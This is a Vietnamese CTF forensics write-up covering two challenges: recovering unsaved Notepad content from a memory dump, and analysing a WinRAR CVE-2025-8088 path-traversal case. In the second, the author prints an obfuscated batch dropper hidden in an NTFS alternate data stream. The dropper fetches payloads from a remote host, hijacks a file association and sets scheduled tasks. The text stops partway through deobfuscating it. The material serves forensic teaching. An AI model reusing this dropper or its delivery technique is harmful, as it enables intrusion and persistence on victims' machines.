# Cuộc thi "Sinh viên với An toàn thông tin" cấp Học viện lần II năm 2025 [FORENSICS] ![image](https://hackmd.io/_uploads/HJhbJqr2ge.png) --- ## 1. Quyển sổ thiên mệnh ![image](https://hackmd.io/_uploads/BJp_c-8nlg.png) > https://actvneduvn-my.sharepoint.com/:u:/g/personal/at190423_actvn_edu_vn/ET9qX4oZd61IoO8gi9RhYicBlV8TRA_mWEFeUM7KqRKVpg?e=mydU4J Bài cho mình file memdump, cùng với đọc mô tả thì mình đoán được là khả năng cao tác giả cố tình gõ một list tên trong Notepad rồi không lưu file. Việc của mình là khôi phục nội dung unsaved từ bộ nhớ bài cho đó, phải kiểm tra tiến trình của Notepad, tuy nhiên thì không hiểu lý do tại sao plugin `pslist`, `psscan` của mình không hoạt động được: ![image](https://hackmd.io/_uploads/rkdKLTdhel.png) Tuy nhiên thì các plugin khác vẫn hoạt động bình thường, ở đây mình dùng `filescan`: ```bash! ┌──(kali㉿kali)-[~/Downloads/VOL/volatility3-2.11.0] └─$ python3 vol.py -f memdump.mem windows.filescan.FileScan | grep -i "TabState" 0x9e01bca0d0a0.0\Users\hoangnv\AppData\Local\Packages\Microsoft.WindowsNotepad_8wekyb3d8bbwe\LocalState\TabState\a4e884fb-49d7-46ff-a651-d57c1b889557.bin.tmp 0x9e01bca12500 \Users\hoangnv\AppData\Local\Packages\Microsoft.WindowsNotepad_8wekyb3d8bbwe\LocalState\TabState\a4e884fb-49d7-46ff-a651-d57c1b889557.bin 0x9e01bca9be70 \Users\hoangnv\AppData\Local\Packages\Microsoft.WindowsNotepad_8wekyb3d8bbwe\LocalState\TabState\c52062fe-7e2b-4a01-9274-3910bbb18f9d.bin 0x9e01bca9d130 \Users\hoangnv\AppData\Local\Packages\Microsoft.WindowsNotepad_8wekyb3d8bbwe\LocalState\TabState\c52062fe-7e2b-4a01-9274-3910bbb18f9d.bin.tmp 0x9e01bd6aa200 \Users\hoangnv\AppData\Local\Packages\Microsoft.WindowsNotepad_8wekyb3d8bbwe\LocalState\TabState 0x9e01bd6aa390 \Users\hoangnv\AppData\Local\Packages\Microsoft.WindowsNotepad_8wekyb3d8bbwe\LocalState\TabState ``` ![image](https://hackmd.io/_uploads/rkIsd6Onxl.png) Ở đây ta cần chú ý đến các file `.bin` trong thư mục `TabState`, WindowState bin thuộc package Microsoft.WindowsNotepad trong LocalState → đúng nơi Notepad lưu trạng thái tab/khôi phục khi app chưa kịp lưu file. Đây là artifact để ta có thể khôi phục lại được nội dung mà author đã gõ, tuy nhiên thì ở bài này author đã chặn cú pháp quen thuộc `strings/grep` bằng cách encode đi flag, làm mình không thể tìm ra được bằng cách grep với format flag `KMACTF{`, tốn kha khá thời gian tìm các blog trên mạng để đọc thì mình tìm được các blog này, mọi người có thể đọc để hiểu rõ hơn: > https://u0041.co/posts/articals/exploring-windows-artifacts-notepad-files/ > > https://andreafortuna.org/2018/03/02/volatility-tips-extract-text-typed-in-a-notepad-window-from-a-windows-memory-dump/ > > https://github.com/AbdulRhmanAlfaifi/notepad_parser **TL;DR** * **Notepad (Windows 11, UWP/Store app)** lưu trạng thái tab vào `%LOCALAPPDATA%\Packages\Microsoft.WindowsNotepad_8wekyb3d8bbwe\LocalState\TabState\*.bin`. * File **TabState** chứa **đường dẫn**, **nội dung (UTF-16LE)**, **con trỏ chọn**, **cờ unsaved**, **checksum CRC32**, thậm chí **SHA-256 của file gốc**; với file **chưa lưu** (unsaved), vẫn có **content** ngay trong TabState. * Các trường độ dài/số nguyên **không phải 1 byte** như tưởng tượng – chúng là **uLEB128** (mã hóa độ dài biến thiên). * Vì vậy, **grep “KMACTF{”** có thể **không thấy** (do mã hóa/biến đổi), nhưng **dump đúng TabState** và **giải uLEB128** sẽ đọc ra nội dung (list tên/flag) rõ ràng. **TabState vs WindowState** * **TabState**: mỗi tab là một file `<GUID>.bin` (có thể thêm `.0.bin`, `.1.bin`, `.tmp` như file tạm). **Quan trọng nhất**: chứa **content** của tab, kể cả khi **chưa bao giờ bấm Save**. * **WindowState**: siêu dữ liệu cửa sổ (tab đang focus, v.v.) – ít hữu ích cho nội dung flag. > Trong bài này, ta chỉ cần **TabState**. **Dạng dữ liệu & offsets** - **Tất cả chuỗi lưu dạng UTF-16LE**. Nhiều “độ dài” và “số” là **uLEB128** (số nguyên mã hóa biến chiều). Cuối file có **CRC32** kiểm tra phần dữ liệu kể từ offset 0x03 đến trước 4 byte cuối. **Trường cốt lõi (Saved Tabs – đã lưu ra đĩa)** | Trường | Kiểu | Ý nghĩa | | ---------------------- | -------- | ---------------------------------------------------------------- | | `signature` | 2 byte | Luôn là `NP` | | `unknown0` | 1 byte | Thường `00` (padding) | | `file_saved_to_path` | bool | `01` nếu đã lưu ra đường dẫn; `00` nếu chưa | | `path_length` | uLEB128 | Độ dài chuỗi **đường dẫn** (tính theo ký tự) | | `file_path` | UTF-16LE | Đường dẫn đầy đủ | | `file_size` | uLEB128 | Kích thước file gốc (ký tự) | | `encoding` | u8 | 01 ANSI / 02 UTF-16LE / 03 UTF-16BE / 04 UTF-8 BOM / 05 UTF-8 | | `cr_type` | u8 | 01 CRLF / 02 CR / 03 LF | | `last_write_time` | uLEB128 | **FILETIME** nhưng được **uLEB128** hóa | | `sha256_hash` | 32 byte | SHA-256 của **file gốc** | | `unknown1` | 2 byte | Thường `00 01` | | `selection_start` | uLEB128 | Vị trí con trỏ/chọn | | `selection_end` | uLEB128 | Vị trí con trỏ/chọn | | `config_block` | struct | word wrap, RTL, show unicode, version (uLEB128), … | | `content_length` | uLEB128 | Độ dài **content** (ký tự) | | `content` | UTF-16LE | **Nội dung tab** (cực kỳ quan trọng) | | `contain_unsaved_data` | bool | `01` nếu nội dung TabState khác với file gốc (hoặc tab chưa lưu) | | `checksum` | 4 byte | **CRC32** của toàn bộ nội dung từ offset 0x03 đến trước CRC | | `unsaved_chunks` | list | Nhật ký chèn/xóa (undo/redo-like), mỗi chunk có CRC riêng | ![image](https://hackmd.io/_uploads/S1FL3T_3ee.png) Sau khi đọc blog [u0041](https://u0041.co/posts/articals/exploring-windows-artifacts-notepad-files/), mình biết nội dung Notepad (kể cả chưa bấm Save) có thể nằm trong các file TabState tại `…\LocalState\TabState\*.bin`. Vì plugin `pslist/psscan` không chạy ổn, mình không cần bám PID nữa, mà đi thẳng hướng “tìm –> dump –> đọc” dựa trên địa chỉ (offset) file trong RAM: ```bash! ┌──(kali㉿kali)-[~/Downloads/VOL/volatility3-2.11.0] └─$ python3 vol.py -f memdump.mem windows.dumpfiles.DumpFiles --virtaddr 0x9e01bca12500 Volatility 3 Framework 2.11.0 Progress: 100.00 PDB scanning finished Cache FileObject FileName Result DataSectionObject 0x9e01bca12500 a4e884fb-49d7-46ff-a651-d57c1b889557.bin file.0x9e01bca12500.0x9e01bcd21d90.DataSectionObject.a4e884fb-49d7-46ff-a651-d57c1b889557.bin.dat SharedCacheMap 0x9e01bca12500 a4e884fb-49d7-46ff-a651-d57c1b889557.bin file.0x9e01bca12500.0x9e01bd1202a0.SharedCacheMap.a4e884fb-49d7-46ff-a651-d57c1b889557.bin.vacb ┌──(kali㉿kali)-[~/Downloads/VOL/volatility3-2.11.0] └─$ xxd file.0x9e01bca12500.0x9e01bcd21d90.DataSectionObject.a4e884fb-49d7-46ff-a651-d57c1b889557.bin.dat | head 00000000: 4e50 0000 0100 0001 0000 0201 0100 00b5 NP.............. 00000010: 4f47 0300 0080 104e 5020 0001 2222 0120 OG.....NP .."". 00000020: 0002 0101 2245 0039 003a 0044 0020 003a ...."E.9.:.D. .: 00000030: 0044 0020 0037 003d 0032 0038 0069 000d .D. .7.=.2.8.i.. 00000040: 007a 007c 0070 0072 0025 0075 004c 0062 .z.|.p.r.%.u.L.b 00000050: 004b 0030 0034 0039 0032 003d 003d 0032 .K.0.4.9.2.=.=.2 00000060: 003f 0038 0062 004e 0001 74fb a5c6 0020 .?.8.b.N..t.... 00000070: 0020 0020 0020 0020 0020 0020 0020 0020 . . . . . . . . 00000080: 0020 0020 0020 0020 0020 0020 0020 0020 . . . . . . . . 00000090: 0020 0020 0020 0020 0020 0020 0020 0020 . . . . . . . . ```` ![image](https://hackmd.io/_uploads/BJ-4Cau2xg.png) Ban đầu mình không chú ý lắm đoạn này, vì nghĩ là byte rác thôi, nhưng về sau khi có hint flag bị encode mình mới thử các cách, và phát hiện nó là flag bị encode [rot47](https://gchq.github.io/CyberChef/#recipe=ROT47(47)&input=enxwciV1TGJLMDQ5Mj09Mj84Yk4&ieol=CRLF): ![image](https://hackmd.io/_uploads/SJkOC6unle.png) > Flag: KMACTF{3z_challang3} --- ## 2. Deception Dive ![image](https://hackmd.io/_uploads/Sy_jqWI3lg.png) >1 ứng viên vừa gửi cho tôi CV. Tuy nhiên sau khi mở CV xong, 1 số file ảnh đã bị hỏng không mở được. Bạn có thể giúp tôi xem chuyện gì đã xảy ra không? Esencia forense?, link: https://drive.google.com/drive/folders/1R1508K1jo-sqjPHTytUl0kvCY6mJHG2Q Một bài forensics + reverse rất hay đến từ author `Benjamin`, ở bài này author dựng lại 1 case liên quan đến [CVE-2025-8088](https://nvd.nist.gov/vuln/detail/CVE-2025-8088): * Lỗi **path traversal** khi giải nén RAR cho phép tệp trong archive được ghi **ra ngoài thư mục đích** (ví dụ vào Startup), dẫn tới **thực thi mã** khi người dùng giải nén. Điểm mấu chốt của các khai thác gần đây là kết hợp với **NTFS Alternate Data Streams (ADS)** để che giấu payload. ([NVD][1]) * Được ESET báo cáo; đã bị **khai thác ngoài thực tế** (zero-day), có liên quan đến nhóm **RomCom**. ([We Live Security][2]) * **Ảnh hưởng:** Ảnh hưởng **WinRAR cho Windows** (các bản cũ); *nếu* nạn nhân giải nén archive độc hại, kẻ tấn công có thể thả file vào thư mục autorun/Startup → chạy tự động sau reboot. ([Cyber Security News][3]) * **Phiên bản vá:** **WinRAR 7.13** đã vá; WinRAR không auto-update nên phải **cập nhật thủ công**. ([We Live Security][2]) [1]: https://nvd.nist.gov/vuln/detail/CVE-2025-8088?utm_source=chatgpt.com "NVD - CVE-2025-8088" [2]: https://www.welivesecurity.com/en/eset-research/update-winrar-tools-now-romcom-and-others-exploiting-zero-day-vulnerability/?utm_source=chatgpt.com "Update WinRAR tools now: RomCom and others exploiting zero-day ..." [3]: https://cybersecuritynews.com/winrar-0-day-exploited/?utm_source=chatgpt.com "CVE-2025-8088 - WinRAR 0-Day Path Traversal Vulnerability Exploited to ..." [4]: https://www.seqrite.com/blog/winrar-directory-traversal-ntfs-ads-vulnerabilities-cve-2025-6218-cve-2025-8088/?utm_source=chatgpt.com "WinRAR Directory Traversal & NTFS ADS Vulnerabilities (CVE-2025-6218 ..." [5]: https://www.rapid7.com/db/vulnerabilities/rarlab-winrar-cve-2025-8088/?utm_source=chatgpt.com "Rapid7 Vulnerability Database" --- ### 2.1 Phát hiện ADS Bài cho mình đĩa cứng ảo `.vhdx` chứa các dữ liệu từ máy nạn nhân, bắt đầu mount vào vm và phân tích, mình thu thập được 1 số file có dấu hiệu lạ: ![image](https://hackmd.io/_uploads/ByCkK0dhxl.png) Sau khi giải nén Resume.rar trên máy lab, WinRAR bật Diagnostic messages: ```! Cannot create E:\C\Users\Castorice\Desktop\Resume\resume.txt\..\..\..\... The filename, directory name, or volume label syntax is incorrect. ``` Đây là dấu hiệu path traversal rất rõ: trong tên tệp bên trong archive có chứa chuỗi ..\, khiến công cụ giải nén cố ghi file ra ngoài thư mục đích. Các khai thác gần đây trên WinRAR/UnRAR lợi dụng đúng kiểu này để thả file vào Startup/Run keys, mình dùng `7z` giải nén ra 1 thư mục khác và kiểm tra ADS (Alternative DataStream window: cửa sổ hiển thị hoặc xử lý các luồng dữ liệu phụ (ẩn) gắn với một tệp trong hệ thống tệp NTFS.): ![image](https://hackmd.io/_uploads/BkaT2GY2el.png) ```powershell! E:\C\Users\Castorice>dir /r Volume in drive E is KAPE (2025-08-21T15:34:20) Volume Serial Number is 674C-3A39 Directory of E:\C\Users\Castorice 09/28/2025 10:35 PM <DIR> . 08/21/2025 07:39 AM <DIR> .. 08/21/2025 07:39 AM <DIR> AppData 09/28/2025 10:31 PM <DIR> Desktop 08/21/2025 07:50 AM <DIR> Documents 03/04/2025 12:01 PM 1,310,720 NTUSER.DAT 11/26/2024 08:06 PM 462,848 ntuser.dat.LOG1 11/26/2024 08:06 PM 368,640 ntuser.dat.LOG2 08/21/2025 07:50 AM <DIR> Pictures 08/21/2025 07:16 AM 115 resume.txt 6,510 resume.txt:.._.._.._.._.._.._.._.._.._.._.._.._.._.._.._.._Users_Castorice_AppData_Roaming_Microsoft_Windows_Start Menu_Programs_Startup_avast.bat:$DATA 4 File(s) 2,142,323 bytes 6 Dir(s) 1,390,440,448 bytes free ``` ```powershell! Get-Content -Path resume.txt -Stream '.._.._.._.._.._.._.._.._.._.._.._.._.._.._.._.._Users_Castorice_AppData_Roaming_Microsoft_Windows_Start Menu_Programs_Startup_avast.bat' -Encoding Byte -Raw | Set-Content -Path "correct_file.bin" -Encoding Byte ``` ![image](https://hackmd.io/_uploads/S1Zm6zY3xe.png) --- ### 2.2 Deobfuscate Nhìn sus như vậy thì mình không thể bỏ qua được rồi, lưu stream này vô file bin và mình xem bằng Hxd thì thấy được: ![image](https://hackmd.io/_uploads/Hy8cCMK2el.png) Cop đoạn decoded text ra ngoài cho dễ nhìn, mình có: ```bash! ÿþ&@cls&@set "PpÃh¡=FoaOlpkqLUYyBK07DfnNZPsGIWJ4Qmj3iCXed5AEgHVb@9 8TrRxwMvtucS16z2h" %PpÃh¡:~44,1%%PpÃh¡:~22,1%%PpÃh¡:~35,1%%PpÃh¡:~55,1%%PpÃh¡:~46,1%"%PpÃh¡:~13,1%%ÃÃc»Lq‘%¨%PpÃh¡:~63,1%%PpÃh¡:~17,1%=%PpÃh¡:~41,1%%PpÃh¡:~34,1%%PpÃh¡:~10,1%%PpÃh¡:~40,1%%PpÃh¡:~13,1%%PpÃh¡:~63,1%%PpÃh¡:~54,1%%PpÃh¡:~38,1%%PpÃh¡:~21,1%%PpÃh¡:~58,1%%PpÃh¡:~18,1%%PpÃh¡:~37,1%%PpÃh¡:~53,1%%PpÃh¡:~61,1%%PpÃh¡:~27,1%%PpÃh¡:~52,1%%PpÃh¡:~17,1%%PpÃh¡:~19,1%%PpÃh¡:~36,1%%PpÃh¡:~56,1%%PpÃh¡:~47,1%%PpÃh¡:~24,1%%PpÃh¡:~50,1%%PpÃh¡:~25,1%%PpÃh¡:~35,1%%PpÃh¡:~51,1%%PpÃh¡:~15,1%%PpÃh¡:~45,1%%PpÃh¡:~30,1%%PpÃh¡:~9,1%%PpÃh¡:~5,1%%PpÃh¡:~8,1%%îgN¨Ã_%%PpÃh¡:~2,1%%PpÃh¡:~28,1%%PpÃh¡:~29,1%%PpÃh¡:~16,1%%PpÃh¡:~0,1%%PpÃh¡:~4,1%%PpÃh¡:~44,1%%PpÃh¡:~43,1%%PpÃh¡:~39,1%%PpÃh¡:~11,1%%PpÃh¡:~46,1%%PpÃh¡:~7,1%%PpÃh¡:~26,1%%PpÃh¡:~32,1%%PpÃh¡:~60,1%%PpÃh¡:~23,1%%PpÃh¡:~48,1%%PpÃh¡:~57,1%%PpÃh¡:~3,1%%PpÃh¡:~22,1%%a©ed…‰ª%%PpÃh¡:~55,1%%PpÃh¡:~62,1%%PpÃh¡:~42,1%%PpÃh¡:~31,1%%PpÃh¡:~6,1%%PpÃh¡:~12,1%%PpÃh¡:~20,1%%»­ºYW³‘%%PpÃh¡:~59,1%%PpÃh¡:~1,1%%PpÃh¡:~49,1%%PpÃh¡:~14,1%%PpÃh¡:~33,1%" %K¨hf:~38,1%%K¨hf:~24,1%%K¨hf:~49,1%%K¨hf:~5,1%%K¨hf:~60,1%%K¨hf:~42,1%%K¨hf:~60,1%%K¨hf:~16,1%%K¨hf:~16,1% %K¨hf:~51,1%%K¨hf:~24,1%%K¨hf:~52,1%%K¨hf:~42,1%%K¨hf:~35,1%%K¨hf:~50,1%%K¨hf:~23,1%%K¨hf:~17,1%%K¨hf:~31,1%%K¨hf:~50,1%%K¨hf:~7,1%%K¨hf:~35,1%%KmPÃhsÃ%%K¨hf:~40,1%%K¨hf:~22,1%=%K¨hf:~4,1%%K¨hf:~63,1%%ºÃÃÃFUÃ%%K¨hf:~9,1%%K¨hf:~63,1%_%K¨hf:~47,1%%K¨hf:~24,1%%K¨hf:~52,1%%K¨hf:~17,1%%K¨hf:~24,1%%K¨hf:~15,1%%K¨hf:~24,1%%K¨hf:~51,1%%K¨hf:~52,1%%K¨hf:~54,1%%K¨hf:~24,1%%¨Ã§ÃCNO%%K¨hf:~61,1%%K¨hf:~51,1%%K¨hf:~45,1%%K¨hf:~60,1%%K¨hf:~10,1%%Ãj…_mÃÃ% %K¨hf:~51,1%%K¨hf:~24,1%%K¨hf:~52,1%%K¨hf:~42,1%%K¨hf:~35,1%%K¨hf:~22,1%%K¨hf:~50,1%%K¨hf:~8,1%%K¨hf:~8,1%%K¨hf:~40,1%%K¨hf:~22,1%_%K¨hf:~29,1%%K¨hf:~22,1%%K¨hf:~31,1%=%K¨hf:~5,1%%K¨hf:~52,1%%K¨hf:~52,1%%K¨hf:~30,1%%K¨hf:~51,1%://%K¨hf:~3,1%%ZmcÃIFV%%K¨hf:~45,1%%K¨hf:~52,1%%K¨hf:~37,1%%K¨hf:~32,1%%K¨hf:~39,1%.%K¨hf:~49,1%%K¨hf:~60,1%%K¨hf:~34,1%/%K¨hf:~52,1%%K¨hf:~5,1%%K¨hf:~24,1%%K¨hf:~60,1%%K¨hf:~10,1%%K¨hf:~37,1%%K¨hf:~41,1%%K¨hf:~10,1%%K¨hf:~24,1%%K¨hf:~24,1%%K¨hf:~6,1%%K¨hf:~24,1%%K¨hf:~49,1%%K¨hf:~59,1%/%K¨hf:~19,1%%K¨hf:~52,1%%K¨hf:~45,1%%K¨hf:~37,1%%K¨hf:~45,1%%K¨hf:~52,1%%K¨hf:~45,1%%K¨hf:~24,1%%K¨hf:~51,1%%‡ÃxC¹¤z%%K¨hf:~52,1%%K¨hf:~60,1%%K¨hf:~60,1%%K¨hf:~37,1%/-/%K¨hf:~61,1%%K¨hf:~32,1%%K¨hf:~15,1%/%K¨hf:~34,1%%K¨hf:~32,1%%K¨hf:~45,1%%TRãQPO%%K¨hf:~10,1%/%K¨hf:~29,1%%K¨hf:~52,1%%K¨hf:~45,1%%K¨hf:~37,1%%K¨hf:~45,1%%K¨hf:~52,1%%K¨hf:~45,1%%K¨hf:~24,1%%K¨hf:~51,1%%K¨hf:~35,1%%K¨hf:~24,1%%K¨hf:~30,1%%K¨hf:~37,1%%K¨hf:~60,1%%K¨hf:~41,1%.%K¨hf:~24,1%%K¨hf:~25,1%%K¨hf:~24,1%?%K¨hf:~45,1%%K¨hf:~10,1%%K¨hf:~37,1%%K¨hf:~45,1%%K¨hf:~10,1%%K¨hf:~24,1%=%K¨hf:~16,1%%K¨hf:~32,1%%K¨hf:~37,1%%K¨hf:~51,1%%K¨hf:~24,1% %K¨hf:~51,1%%K¨hf:~24,1%%K¨hf:~52,1%%K¨hf:~42,1%%K¨hf:~1,1%%K¨hf:~50,1%%K¨hf:~22,1%%K¨hf:~40,1%%K¨hf:~35,1%_%K¨hf:~63,1%%K¨hf:~50,1%%K¨hf:~22,1%%K¨hf:~40,1%_%K¨hf:~29,1%%K¨hf:~22,1%%K¨hf:~31,1%=%K¨hf:~5,1%%K¨hf:~52,1%%K¨hf:~52,1%%K¨hf:~30,1%%K¨hf:~51,1%%ygFtnºÃ%://%K¨hf:~3,1%%K¨hf:~45,1%%K¨hf:~52,1%%K¨hf:~37,1%%K¨hf:~32,1%%K¨hf:~39,1%.%K¨hf:~49,1%%K¨hf:~60,1%%K¨hf:~34,1%/%K¨hf:~52,1%%K¨hf:~5,1%%K¨hf:~24,1%%K¨hf:~60,1%%œQwÃy_º%%K¨hf:~10,1%%K¨hf:~37,1%%K¨hf:~41,1%%K¨hf:~10,1%%K¨hf:~24,1%%K¨hf:~24,1%%K¨hf:~6,1%%K¨hf:~24,1%%K¨hf:~49,1%%K¨hf:~59,1%/%K¨hf:~19,1%%K¨hf:~52,1%%K¨hf:~45,1%%K¨hf:~37,1%%K¨hf:~45,1%%ºH¢±ÃÃÃ%%K¨hf:~52,1%%K¨hf:~45,1%%K¨hf:~24,1%%K¨hf:~51,1%%K¨hf:~52,1%%K¨hf:~60,1%%K¨hf:~60,1%%K¨hf:~37,1%/-/%K¨hf:~61,1%%K¨hf:~32,1%%K¨hf:~15,1%/%K¨hf:~34,1%%K¨hf:~32,1%%K¨hf:~45,1%%K¨hf:~10,1%/%K¨hf:~7,1%%K¨hf:~51,1%%K¨hf:~51,1%%K¨hf:~24,1%%K¨hf:~52,1%.%K¨hf:~56,1%%K¨hf:~51,1%%K¨hf:~24,1%%K¨hf:~45,1%%K¨hf:~45,1%?%K¨hf:~45,1%%K¨hf:~10,1%%K¨hf:~37,1%%K¨hf:~45,1%%K¨hf:~10,1%%K¨hf:~24,1%=%K¨hf:~16,1%%K¨hf:~32,1%%K¨hf:~37,1%%K¨hf:~51,1%%K¨hf:~24,1%%Ãà¡Ãh§% %K¨hf:~51,1%%K¨hf:~24,1%%à‘i¤Ãe%%K¨hf:~52,1%%K¨hf:~42,1%%K¨hf:~48,1%%K¨hf:~40,1%%K¨hf:~12,1%%K¨hf:~8,1%%K¨hf:~42,1%=%K¨hf:~42,1%%temp% %K¨hf:~51,1%%K¨hf:~24,1%%K¨hf:~52,1%%K¨hf:~42,1%%K¨hf:~35,1%%K¨hf:~22,1%%K¨hf:~50,1%%K¨hf:~8,1%%K¨hf:~8,1%%K¨hf:~40,1%%K¨hf:~22,1%_%K¨hf:~50,1%%K¨hf:~29,1%%K¨hf:~48,1%%K¨hf:~8,1%%K¨hf:~29,1%%K¨hf:~48,1%=%windir%\System32\oaep.exe %K¨hf:~51,1%%K¨hf:~24,1%%K¨hf:~52,1%%K¨hf:~42,1%%K¨hf:~8,1%%K¨hf:~7,1%%K¨hf:~2,1%%lÃ…ÃÃÃa%%K¨hf:~31,1%%K¨hf:~50,1%%K¨hf:~7,1%%K¨hf:~35,1%_%K¨hf:~50,1%%K¨hf:~29,1%%K¨hf:~48,1%%K¨hf:~8,1%%K¨hf:~29,1%%K¨hf:~48,1%=%temp%\Asset.kseii %K¨hf:~51,1%%K¨hf:~24,1%%K¨hf:~52,1%%K¨hf:~42,1%"%K¨hf:~57,1%%K¨hf:~7,1%%K¨hf:~48,1%_%K¨hf:~8,1%%K¨hf:~7,1%%K¨hf:~48,1%%K¨hf:~0,1%=%~dp0avast.bat" %K¨hf:~49,1%%K¨hf:~24,1%%K¨hf:~61,1%%K¨hf:~52,1%%K¨hf:~19,1%%K¨hf:~52,1%%K¨hf:~45,1%%K¨hf:~37,1%%K¨hf:~42,1%-%K¨hf:~19,1%%K¨hf:~61,1%%K¨hf:~37,1%%K¨hf:~49,1%%K¨hf:~32,1%%K¨hf:~49,1%%K¨hf:~5,1%%K¨hf:~24,1%%K¨hf:~42,1%-%K¨hf:~51,1%%K¨hf:~30,1%%K¨hf:~37,1%%K¨hf:~45,1%%K¨hf:~52,1%%K¨hf:~42,1%-%K¨hf:~16,1%%K¨hf:~42,1%%DROPPER_URL% %DROPPER_OUTPUT% >nul 2>&1 %K¨hf:~49,1%%K¨hf:~24,1%%K¨hf:~61,1%%K¨hf:~52,1%%K¨hf:~19,1%%K¨hf:~52,1%%K¨hf:~45,1%%K¨hf:~37,1%%K¨hf:~42,1%-%K¨hf:~19,1%%K¨hf:~61,1%%K¨hf:~37,1%%K¨hf:~49,1%%K¨hf:~32,1%%K¨hf:~49,1%%K¨hf:~5,1%%K¨hf:~24,1%%K¨hf:~42,1%-%K¨hf:~51,1%%K¨hf:~30,1%%K¨hf:~37,1%%K¨hf:~45,1%%K¨hf:~52,1%%K¨hf:~42,1%-%K¨hf:~16,1%%K¨hf:~42,1%%XORED_CORE_URL% %PAYLOAD_OUTPUT% >nul 2>&1 %K¨hf:~16,1%%K¨hf:~52,1%%K¨hf:~41,1%%K¨hf:~30,1%%K¨hf:~24,1%%K¨hf:~42,1%%K¨hf:~4,1%%K¨hf:~63,1%%¤M_aÃÃÃ%%K¨hf:~9,1%%K¨hf:~63,1%%K¨hf:~8,1%%K¨hf:~61,1%%K¨hf:~60,1%%K¨hf:~52,1%%K¨hf:~60,1%%K¨hf:~52,1%%K¨hf:~41,1%%K¨hf:~30,1%%K¨hf:~24,1%="%DROPPER_OUTPUT%" "%%1" & assoc .kseii=KCSCPrototype %PAYLOAD_OUTPUT% %temp%\AssetHelper.exe %K¨hf:~52,1%%K¨hf:~45,1%%K¨hf:~34,1%%K¨hf:~24,1%%K¨hf:~60,1%%K¨hf:~19,1%%K¨hf:~52,1%%ÃBÃnu¼i%%K¨hf:~42,1%/%K¨hf:~52,1%%K¨hf:~42,1%%K¨hf:~59,1%%K¨hf:~62,1%%K¨hf:~42,1%&%K¨hf:~42,1%%K¨hf:~18,1%%K¨hf:~24,1%%K¨hf:~37,1%%K¨hf:~42,1%/%K¨hf:~16,1%%K¨hf:~42,1%/%K¨hf:~43,1%%K¨hf:~42,1%%DROPPER_OUTPUT% %K¨hf:~52,1%%K¨hf:~45,1%%K¨hf:~34,1%%K¨hf:~24,1%%dÃìÃí%%K¨hf:~60,1%%­wÃÃiÃx%%K¨hf:~19,1%%K¨hf:~52,1%%K¨hf:~42,1%/%K¨hf:~52,1%%K¨hf:~42,1%%K¨hf:~59,1%%M®ÃÃvIb%%K¨hf:~62,1%%_ÃsYNpU%%K¨hf:~42,1%&%K¨hf:~42,1%%K¨hf:~18,1%%K¨hf:~24,1%%K¨hf:~37,1%%K¨hf:~42,1%/%K¨hf:~16,1%%K¨hf:~42,1%/%K¨hf:~43,1%%K¨hf:~42,1%%temp%\AssetHelper.exe %K¨hf:~52,1%%K¨hf:~45,1%%K¨hf:~34,1%%K¨hf:~24,1%%K¨hf:~60,1%%K¨hf:~19,1%%K¨hf:~52,1%%K¨hf:~42,1%/%K¨hf:~52,1%%K¨hf:~42,1%%K¨hf:~59,1%%K¨hf:~62,1%%K¨hf:~42,1%&%K¨hf:~42,1%%K¨hf:~18,1%%K¨hf:~24,1%%K¨hf:~37,1%%K¨hf:~42,1%%yN¥£ºÃ„%/%K¨hf:~16,1%%K¨hf:~42,1%/%K¨hf:~43,1%%K¨hf:~42,1%%BAT_PATH% ``` Khá là rối mắt, mình bị stuck tại đây khá lâu vì không tìm được cách deobfuscate nó, nhưng sau khi kết hợp với ChatGPT, mình tìm được các blog hữu ích sau: > https://www.emanueledelucia.net/unveiling-obfuscated-batch-scripts-from-utf-8-to-utf-16-bom-conversion/ (mẹo về BOM/encoding, caret-join ^, và delayed expansion khiến biến hiển thị khác khi echo so với lúc thực thi) > ![Screenshot_30-9-2025_161650_www.emanueledelucia.net](https://hackmd.io/_uploads/ry-VxQK3xg.jpg) > https://www.oneconsult.com/en/blog/digital-forensics/batch-file-obfuscation-incident/ (các mẫu xâu ghép với set var=!var:~i,n!, for /f tự giải mã, dùng ASCII/UTF-16 để qua mặt AV) > ![image](https://hackmd.io/_uploads/B1y1eQKngl.png) Ý tưởng mình rút ra: phần lớn batch obfuscation không “mã hóa” thật, chỉ là đổi encoding + nối dòng + trì hoãn mở rộng biến. Chỉ cần “ép” nó in ra các biến NGAY TRƯỚC KHI dùng, sẽ thấy logic rõ ràng. Mình bắt đầu batch runner (debug bằng echo): ```powershell! @set "K¨hf=HXYgKhvAPSn5Mz4wfNdu8IRWex79jUpLaQmDFl@bEy qJi6GTcOst2V3kBZ1or0C" echo %K¨hf:~51,1%%K¨hf:~24,1%%K¨hf:~52,1%%K¨hf:~42,1%%K¨hf:~35,1%%K¨hf:~50,1%%K¨hf:~23,1%%K¨hf:~17,1%%K¨hf:~31,1%%K¨hf:~50,1%%K¨hf:~7,1%%K¨hf:~35,1%%KmPÃhsÃ%%K¨hf:~40,1%%K¨hf:~22,1%=%K¨hf:~4,1%%K¨hf:~63,1%%ºÃÃÃFUÃ%%K¨hf:~9,1%%K¨hf:~63,1%_%K¨hf:~47,1%%K¨hf:~24,1%%K¨hf:~52,1%%K¨hf:~17,1%%K¨hf:~24,1%%K¨hf:~15,1%%K¨hf:~24,1%%K¨hf:~51,1%%K¨hf:~52,1%%K¨hf:~54,1%%K¨hf:~24,1%%¨Ã§ÃCNO%%K¨hf:~61,1%%K¨hf:~51,1%%K¨hf:~45,1%%K¨hf:~60,1%%K¨hf:~10,1%%Ãj…_mÃÃ% echo 